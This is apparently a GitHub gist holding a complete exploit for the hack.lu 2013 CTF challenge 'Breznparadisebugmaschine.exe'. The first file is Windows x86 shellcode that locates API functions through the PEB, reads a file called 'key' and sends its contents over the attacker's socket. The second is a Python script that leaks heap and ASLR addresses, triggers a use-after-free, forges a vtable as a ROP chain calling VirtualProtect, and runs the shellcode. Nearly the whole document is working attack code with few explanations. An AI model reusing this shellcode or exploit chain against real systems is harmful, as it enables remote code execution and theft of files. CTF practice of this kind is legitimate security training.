Last active
August 29, 2015 14:07
-
-
Save NickStephens/98c1d5c0b7a80e449100 to your computer and use it in GitHub Desktop.
Breznparadisebugmaschine.exe Exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
BITS 32 | |
; windows peb function finder | |
; most of this code taken from shell-storm | |
; and the shellcoder's handbook | |
global _start | |
Kernel32Hash equ 0x000d4e88 | |
WS2_32Hash equ 0x0003ab08 | |
LoadLibraryAHash equ 0x000d5786 | |
GetProcAddressHash equ 0x00348bfa | |
sendHash equ 0x00000cd8 | |
CreateFileAHash equ 0x00067746 | |
ReadFileHash equ 0x0000d562 | |
WriteFileHash equ 0x0001ca42 | |
GetStdHandleHash equ 0x000d269a | |
ExitProcessHash equ 0x0006bc6a | |
; a pointer to our socket is in ecx | |
mov ecx, [ecx] | |
mov ecx, [ecx] | |
push ecx | |
; start off by finding CreateFileA | |
push Kernel32Hash | |
push CreateFileAHash | |
call findFunc | |
jmp short filenameGet | |
; all our functions are in kernel32.dll | |
filenameReturn: | |
pop ebx | |
jmp short continue | |
filenameGet: | |
call filenameReturn | |
db "key", 0 | |
continue: | |
xor edx, edx | |
push edx ; template | |
push edx ; special flags | |
push 3 ; creation disposition, OPEN_EXISTING | |
push edx ; Security Attributes pointer, NULL | |
push edx ; No sharing | |
push 0x80000000 ; GENERIC_READ | |
push ebx ; "key" | |
call eax ; call CreateFile | |
; stash our file handle | |
push eax | |
push Kernel32Hash | |
push ReadFileHash | |
call findFunc | |
; call ReadFile(handle, esp-0x1000, 0x40, NULL) | |
xor edx, edx | |
; prepare buffer | |
mov ebx, esp | |
add ebx, 0x1000 | |
mov edi, ebx | |
sub edi, 0x40 | |
pop ecx ; grab handle | |
push edx ; NULL | |
push edi ; NULL | |
push 0x40 ; size | |
push ebx ; buffer | |
push ecx ; handle | |
call eax ; call ReadFile | |
;push Kernel32Hash | |
;push GetStdHandleHash | |
;call findFunc | |
; GetStdHandle(stdout) | |
;push -11 | |
;call eax | |
;mov ecx, eax ; stash stdout handle | |
; send(sockethandle, esp-0xffc, 0x40, NULL) | |
push WS2_32Hash | |
push sendHash | |
call findFunc | |
; prepare buffer | |
mov ebx, esp | |
pop ecx | |
add ebx, 0xffc | |
xor edx, edx | |
push edx | |
push 0x40 | |
push ebx | |
push ecx | |
call eax | |
; ExitProcess(1) | |
push Kernel32Hash | |
push ExitProcessHash | |
call findFunc | |
push 1 | |
call eax | |
findFunc: | |
; prologue | |
push ebp | |
mov ebp, esp | |
push ebx | |
push ecx | |
push edx | |
push esi | |
push edi | |
xor edx, edx | |
xor ecx, ecx | |
mov esi, [fs:ecx+0x30] ; PEB | |
mov esi, [esi+0xc] ; PEB->Ldr | |
mov esi, [esi+0x1c] ; PEB->Ldr.InInitOrder | |
NextModule: | |
mov edx, [esi+0x8] ; Module base address | |
mov edi, [esi+0x20] ; Module name (in Unicode) | |
mov esi, [esi] ; next pointer | |
push 2 ; signal unicode | |
push edi ; push the module name | |
call hashit | |
cmp eax, [ebp+0xc] | |
jnz NextModule | |
; we now have the base address of kernel32.dll in edx | |
mov eax, edx | |
push eax | |
mov ebx, [eax+0x3c] ; IMAGE_DOS_HEADER.e_lfanew | |
add eax, ebx ; eax is now pointer to the PE | |
; PE->export_table | |
mov ebx, [eax+0x78] | |
pop eax | |
push eax ; restore the base address | |
add ebx, eax | |
; eax is now the export table | |
mov ecx, [ebx+28] ; ecx is the address table | |
mov edx, [ebx+32] ; edx is the name pointer table | |
mov ebx, [ebx+36] ; ebx is the oridinal table | |
; eax was restored to the base address | |
; correct the RVAs (relative virtual addresses) | |
add ecx, eax | |
add edx, eax | |
add ebx, eax | |
find_procedure: | |
mov esi, [edx] | |
pop eax | |
push eax ; do a base_address restore | |
add esi, eax | |
push 1 ; hash increment | |
push esi | |
call hashit | |
cmp eax, [ebp+0x8] | |
jz found_procedure | |
add edx, 4 ; increment name pointer | |
add ebx, 2 ; increment ordinal pointer | |
jmp find_procedure | |
; we found sleep! | |
found_procedure: | |
pop eax | |
xor edx, edx | |
mov dx, [ebx] | |
shl edx, 2 | |
add ecx, edx | |
add eax, [ecx] | |
pop edi | |
pop esi | |
pop edx | |
pop ecx | |
pop ebx | |
mov esp, ebp | |
pop ebp | |
; eax contains the function's address | |
ret 0x8 | |
hashit: | |
push ebp | |
mov ebp, esp | |
push ecx | |
push ebx | |
push edx | |
xor ecx, ecx | |
xor ebx, ebx | |
xor edx, edx | |
mov eax, [ebp+0x8] ; target string | |
hashloop: | |
mov dl, [eax] | |
or dl, 0x60 | |
add ebx, edx ; accumulate | |
shl ebx, 1 | |
add eax, [ebp+0xc] ; add to eax ASCII of UNICODE flag | |
mov cl, [eax] | |
test cl, cl | |
jnz hashloop | |
mov eax, ebx | |
pop edx | |
pop ebx | |
pop ecx | |
mov esp, ebp | |
pop ebp | |
ret 0x8 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import socket | |
import struct | |
import time | |
import telnetlib | |
# Breznparadisebugmaschine.exe -- hack.lu 2013, 500pts Exploitation | |
brezel_vtable_1 = 0x2f80 | |
brezel_vtable_2 = 0x2fa0 | |
brezel_vtable_3 = 0x2e90 | |
brezel_vtable = 0x10f60 | |
argv0 = 0x14bf8 | |
clientHandler = 0x43e0 | |
virtualprotect_ptr = 0xe008 | |
virtualalloc_ptr = 0xe004 | |
createprocessa_ptr = 0xe01c | |
read_in_name = 0x5003 | |
#memmove = 0x54c0 | |
memmove = 0x10d0 | |
pop_eax = 0xc877 | |
pop_ecx = 0xdf31 | |
pop_ebp = 0x99e7 | |
pop_esi = 0x8e70 | |
pop_edi_esi = 0x8963 | |
push_eax_call_esi = 0xab93 | |
call_eax_off_4 = 0x1b1c | |
ret = 0xcace | |
stack_pivot = 0x1b24 | |
def runtil(s, mesg): | |
buf = "" | |
while not mesg in buf: | |
buf += s.recv(1) | |
return buf | |
def xor(c, k): | |
out = "" | |
for i in c: | |
out += chr(ord(i) ^ k) | |
return out | |
def p(v): | |
return struct.pack("<I", v) | |
def u(v): | |
return struct.unpack("<I", v)[0] | |
def add_food(s, id, b, i, name): | |
s.send("0\n") # insert | |
runtil(s, "Semmel\n\n") | |
s.send(str(id) + "\n") # brezel | |
runtil(s, "\n\n") | |
s.send(str(b) + "\n") # bake time in increments of 5 seconds | |
runtil(s, "\n\n") | |
s.send(str(i) + "\n") | |
runtil(s, "\n\n") | |
s.send(str(name) + "\n") | |
def edit_food(s, id, portrait): | |
s.send("3\n") | |
runtil(s, "\n\n") | |
s.send(str(id) + "\n") | |
runtil(s, "\n\n") | |
s.send(portrait + "\n") | |
runtil(s, "\n\n") | |
# local | |
s = socket.create_connection(("192.168.0.4", 27015)) | |
runtil(s, "Quit\n\n") | |
# allocate five brezels | |
for i in range(0, 4): | |
if (2 >i): | |
add_food(s, 0, 5, i, "BBBBB") # bake this brezel for a while | |
else: | |
add_food(s, 0, 3, i, "AAAAA") | |
runtil(s, "Quit\n\n") | |
# ASLR LEAK | |
# leak one of the brezels to get our aslr slide | |
s.send("2\n") | |
runtil(s, "ozeign:\n\n") | |
s.send("1\n") | |
runtil(s, "Semmel\n\n") | |
s.send("1\n") | |
dump = runtil(s, "Quit\n\n") | |
slide = dump[0x208:0x208+4] | |
heap = dump[0x214:0x214+4] | |
heap = u(heap) - 1128 | |
slide = u(slide) | |
print "[+] heap ~:", hex(heap) | |
print "[+] brezel vtable:", hex(slide) | |
slide -= brezel_vtable | |
print "[+] slide:", hex(slide) | |
print "[+] stackpivot:", hex(slide + stack_pivot) | |
# turn oven on | |
s.send("5\n") | |
runtil(s, "Quit\n\n") | |
print "[!] sleeping" | |
time.sleep(4 * 5) # wait for it to bake | |
# turn oven off | |
s.send("6\n") | |
runtil(s, "Quit\n\n") | |
# activate robot, activate uaf | |
s.send("4\n") | |
runtil(s, "\n\n") | |
s.send("0\n") | |
runtil(s, "Quit\n\n") | |
time.sleep(5) # wait for robot to clear out oven | |
# turn off robot | |
s.send("4\n") | |
runtil(s, "\n\n") | |
s.send("1\n") | |
runtil(s, "\n\n") | |
# vtable now resides in the lau's portrait | |
# this is kind of dumb, not sure if it's avoidable | |
# needs to be a better way of predicting this | |
vtable = heap + (11200 - 0x18) | |
# this is our forgered vtable table, it also happens to be our rop chain | |
forgered_vtable = p(slide + stack_pivot) | |
forgered_vtable += p(slide + ret) | |
forgered_vtable += p(slide + brezel_vtable_3) | |
forgered_vtable += "A" * 8 # pad | |
forgered_vtable += p(slide + pop_eax) | |
# set up a call to VirtualProctect located in the imports | |
forgered_vtable += p(slide + virtualprotect_ptr - 4) | |
# pop ebp to stabilize chain for next call | |
forgered_vtable += p(slide + pop_ebp) | |
forgered_vtable += p(vtable + 56) | |
# do the call | |
forgered_vtable += p(slide + call_eax_off_4) | |
# args for VirtualProtect | |
forgered_vtable += p((heap & 0xffff0000)) # lpAddress | |
forgered_vtable += p(0x5000) # dwSize | |
forgered_vtable += p(0x40) # PAGE_EXECUTE_READWRITE | |
forgered_vtable += p(vtable - 4) | |
# the heap should now be executable, we jump to our shellcode next | |
forgered_vtable += "BBBB" | |
forgered_vtable += p(slide + pop_ecx) # jump into our shellcode | |
forgered_vtable += "JUNK" # padding for retn 0xc | |
forgered_vtable += "\xcc\xcc\xcc\xcc" | |
forgered_vtable += "\xcc\xcc\xcc\xcc" | |
forgered_vtable += p(heap) | |
forgered_vtable += p(vtable + 92) | |
forgered_vtable += "\xcc\xcc\xcc\xcc" | |
forgered_vtable += "\xcc\xcc\xcc\xcc" | |
forgered_vtable += "\x90" * 20 | |
# append the readkey shellcode | |
# reads out the contents of the file 'key' and sends it to us | |
forgered_vtable += open('rkey').read() | |
# add a Laugenstangerl, the largest food item | |
add_food(s, 1, 30, 9, forgered_vtable) | |
runtil(s, "Quit\n\n") | |
# pad out payload | |
payload = "A" * 8 | |
# pad the vtable out to the nearest sixteen bytes | |
payload += forgered_vtable | |
payload += (16 - (len(forgered_vtable) % 16)) * "A" | |
payload += (p(vtable) + p(3) + (p(5) * 2)) * 40 | |
# revert the affects of baking caused by the cook_food thread | |
payload = xor(payload, 3) | |
payload = xor(payload, 48) | |
# smash the vtable | |
edit_food(s, 9, payload) | |
# turn oven on, this will dereference the smashed vtable | |
s.send("5\n") | |
runtil(s, "Quit\n\n") | |
# wait for the magic to happen | |
# shellcode should send the contents of 'key' over the wire | |
flag = s.recv(1024) | |
print flag |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment